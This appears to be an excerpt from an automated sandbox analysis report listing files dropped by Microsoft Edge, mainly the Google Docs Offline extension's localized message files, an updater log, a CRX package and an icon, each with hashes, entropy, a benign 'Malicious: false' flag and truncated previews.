Encrypted:	false
SSDEEP:	24:Yac54VJfe54V80NBgu5SBxK0Npm25Spe0TxqXIp5r7qJ0Dox5hY0yu5M:Yac5oJG5o807d54xK07m25Ee0TxqXIpx
MD5:	B99B879E2FD9DD704789A5BE05C467A5
SHA1:	9C9DA7217D822DD6044D0E4E1820A62236F70A55
SHA-256:	287C5859D10B78FA4195B5413DB842F830635CF2B6FFAF72708A072FE8620FD5
SHA-512:	FCFFF5FA98336DEF26E1077552C7FAA99021614A7C41536670E970E9781D0DBDDBF2C9EA9B6375415195F1F1CB05B051831BE7A9658CA782CB571447A4492DC5
Malicious:	false
Preview:	{"logTime": "1005/094927", "correlationVector":"2Yoymfq2DNqKkEQxScdye6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/094932", "correlationVector":"f8obPuKjAlRxEct+yTS+WU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/094932", "correlationVector":"3424AD3BF2D647858C80467BB9A206FC","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/102334", "correlationVector":"R7sA2ORjmzFG+jb9x+Jiab","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/102334", "correlationVector":"C4F87C103BB24B0EA24A826332D35037","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/102550", "correlationVector":"gABMZMZtO1erzif4SmQ7ja","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/102550", "correlationVector":"15ED17FAD0C64F2DB623BFAC8C77343C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/103007", "correlationVector":"+pZdWNzglJOCMtTzwL811z","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/103008", "correlationVector":"F3AB7FFA

C:\Users\user\AppData\Local\Temp\dcad88a3-7ba4-49f9-bef0-deba4741f7db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\3ec7f2ca-bce4-4e7d-bfe2-5e3e93b39d92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
